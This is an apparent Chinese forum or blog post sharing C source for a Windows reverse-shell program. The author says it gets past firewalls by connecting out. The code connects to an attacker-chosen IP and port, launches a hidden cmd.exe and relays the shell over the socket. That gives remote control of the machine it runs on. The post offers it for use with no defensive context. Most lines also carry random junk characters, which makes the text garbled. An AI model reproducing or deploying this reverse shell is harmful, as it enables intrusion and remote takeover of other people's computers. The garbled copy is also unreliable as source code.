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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {KL5GowH  
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/* ============================== sW@krBxMv  
Rebound port in Windows NT 6<76H  
By wind,2006/7 ~NcQ1.  
===============================*/ @.C{OSH E  
#include r' Z3  
#include /RnTQ4   
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#pragma comment(lib,"wsock32.lib") }hpm O-  
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void OutputShell(); A!i q->+  
SOCKET sClient; kFLB> j97  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GX{XdJD  
IH *s8tPc  
void main(int argc,char **argv) @R|'X  
{ |I;$M;'r&  
WSADATA stWsaData; J @IS\9O  
int nRet; qQ]]~F  
SOCKADDR_IN stSaiClient,stSaiServer; ]; $] G-  
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if(argc != 3) 9LC&6Q5O&  
{ i5}4(sV  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5 `D-  
return;  t+uE  
} (qM j-l  
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WSAStartup(MAKEWORD(2,2),&stWsaData); J9~i%hzr  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pKG<Nvgz&  
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stSaiClient.sin_family = AF_INET; tz NlJ~E  
stSaiClient.sin_port = htons(0); 5&Ts7& .  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =@x`?oev  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o`S ?  
{ OWq'[T4  
printf("Bind Socket Failed!\n"); k44Q):ncY7  
return; 5*%#o  
} "UFs~S|e  
] y{WD=T  
stSaiServer.sin_family = AF_INET; OPJ: XbG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y$K!7Kq  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -_OS%ARa  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8 )*2@-Rp  
{ )j l 8!O7  
printf("Connect Error!"); VSX@e|Nj  
return; DE$q+j0P  
} g^Yl TB  
OutputShell(); >r@.F%  
} Bh`N[\r  
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void OutputShell() 9LnN$e  
{ ;h=*!7:  
char szBuff[1024]; k*rZ*sSp  
SECURITY_ATTRIBUTES stSecurityAttributes; `>(W"^  
OSVERSIONINFO stOsversionInfo; y;cUl, :v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zdl%iop3e  
STARTUPINFO stStartupInfo; 7R.Q Ql  
char *szShell; EI~"L$?  
PROCESS_INFORMATION stProcessInformation; .jw}JJ  
unsigned long lBytesRead; O)|P,?  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BAj-akc f  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6DTTV66  
stSecurityAttributes.lpSecurityDescriptor = 0; RrZM&lXY  
stSecurityAttributes.bInheritHandle = TRUE; }kHdK vZ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1F'1>Bu~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -Y#sI3o*R8  
8M,9kXq{L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OI1ud/>h  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gl %3XdU  
stStartupInfo.wShowWindow = SW_HIDE; TcTM]ixr  
stStartupInfo.hStdInput = hReadPipe; q#A(gyy  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #m{{a]zm^  
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GetVersionEx(&stOsversionInfo); rPNb\Ri  
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switch(stOsversionInfo.dwPlatformId) O%~jop7# 6  
{ `vG,}Pt]  
case 1: v44}%$  
szShell = "command.com"; r[(xj n  
break; Lf([dE1  
default: @oF$LMD  
szShell = "cmd.exe"; ]r! >{  
break; i@5[FC  
} []R? ViG  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6Tw#^;q-  
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send(sClient,szMsg,77,0); X=JmF97  
while(1) GDhE[of  
{ 4D%9Rc0 G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '3]p29v{  
if(lBytesRead) #PDf,^  
{ HjqB^|z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,B(7\  
send(sClient,szBuff,lBytesRead,0); /iNa'W5\  
} o}Odw;  
else -4w=s|#.\  
{ n~V4nj&_T  
lBytesRead=recv(sClient,szBuff,1024,0); 1(zsOeX  
if(lBytesRead<=0) break; H7U li]e3  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p^nL&yIW,%  
} )3YtIH_  
} 4h!f/aF'  
,/&'m13b/L  
return; t>GfM  
}
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